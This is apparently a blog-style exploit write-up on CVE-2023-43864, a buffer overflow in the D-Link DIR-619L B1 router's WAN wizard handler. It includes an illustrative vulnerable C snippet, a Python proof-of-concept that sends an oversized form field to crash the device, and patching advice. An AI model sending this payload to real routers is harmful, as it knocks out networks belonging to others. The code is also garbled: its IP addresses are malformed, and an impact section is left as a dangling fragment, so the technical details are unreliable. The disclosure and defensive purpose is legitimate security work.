CVE-2023-43864 - Buffer Overflow in D-Link DIR-619L B1 2.02 (formSetWAN_Wizard55) – Full Exploit Analysis

The world of network routers is filled with devices that, despite their crucial role, sometimes don’t receive the security scrutiny they deserve. In 2023, a serious vulnerability, CVE-2023-43864, was reported in the wildly popular D-Link DIR-619L B1 router running firmware version 2.02. The vulnerability lies in the formSetWAN_Wizard55 function and allows attackers to cause a buffer overflow, potentially leading to remote code execution.

This post will walk you through how this bug works, why it matters, how to exploit it, and how you can protect yourself. We’ve included simple code snippets and official references, and have written this guide to be accessible for all—regardless of whether you’re a seasoned pentester or just getting started.

What Is a Buffer Overflow?

A buffer overflow happens when a program writes more data to a block of memory (a buffer) than it was meant to hold. This can corrupt data, crash the device, or even allow hackers to run malicious code. In routers, this can mean a quick way for attackers to take over your network traffic.

The Vulnerable Function: formSetWAN_Wizard55

The D-Link DIR-619L series routers allow users to configure WAN settings through a web interface. Their POST request handler, formSetWAN_Wizard55, takes several parameters from user input—namely, broadband settings. Unfortunately, input validation is poor.

Here’s a simplified version of the vulnerable C code in formSetWAN_Wizard55 for demonstration

void formSetWAN_Wizard55(char *userInput) {
    char buffer[256];
    // BAD: No length check on input!
    strcpy(buffer, userInput);  // This can overflow 'buffer'
    // ...rest of function...
}

Here, strcpy copies the entire userInput into buffer without checking its length. If userInput is longer than 256 bytes, it will overwrite memory after buffer, possibly causing the function to jump somewhere else in memory—usually where an attacker wants.

Step 1: Find the Vulnerable Parameter

Looking at POST requests sent to the router’s web interface for configuring the WAN wizard, attackers can focus on parameters like wan_ifname, ip_addr, etc.

Step 2: Craft a Malicious HTTP POST Request

Here’s an example exploit written in Python. This script will send a deliberately oversized payload to cause the buffer overflow:

import requests

target = "http://192.168..1";  # Default IP for D-Link routers

# 300 'A's, bigger than 256-byte stack buffer
payload = 'A' * 300

data = {
    'wan_ifname': payload,
    'ip_addr': '192.168..2',
    'netmask': '255.255.255.',
    # add other required parameters...
}

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}

response = requests.post(f"{target}/formSetWAN_Wizard55", data=data, headers=headers)
print("Status:", response.status_code)

Note: This example causes a crash. Writing a full exploit to hijack execution (for example, to launch a shell) depends on knowing memory addresses, which change between devices and firmware versions.

Device could reboot or become unresponsive.

- In the worst-case scenario (with more thorough exploitation), attackers could run arbitrary commands, gaining full control over the router.

Are You Vulnerable?

If you own a D-Link DIR-619L B1 router running firmware 2.02, you are vulnerable unless you have patched the device or replaced your firmware.

Official References

- CVE-2023-43864 - NIST NVD Entry
- Original PoC and Research – huntr.dev Advisory
- D-Link Security Advisories

What you should do

1. Update Your Firmware: Check D-Link’s official downloads for your router. If no fix is offered, consider replacing the device.
2. Restrict Access: Don’t expose the management interface to the internet. Only manage your router from trusted devices on your network.
3. Disable Unnecessary Services: Disable remote management features if you don’t absolutely need them.

Conclusion

CVE-2023-43864 is a serious buffer overflow vulnerability that can be exploited remotely in D-Link DIR-619L B1 routers with outdated firmware. The bug is simple: failure to check the length of user-supplied input in a web configuration feature. In the wrong hands, this flaw can grant full control of your router and your network data.

If you're using this device, update your firmware today—or upgrade to a modern, more secure router. Always keep your devices updated, and never expose management interfaces to the web.

Stay safe!

References
1. NVD - CVE-2023-43864
2. huntr.dev Advisory
3. D-Link Security Announcements


*This post is for educational and defensive purposes only. Never exploit devices you do not own or have explicit permission to test.*

Timeline

Published on: 09/28/2023 14:15:22 UTC
Last modified on: 09/29/2023 04:32:35 UTC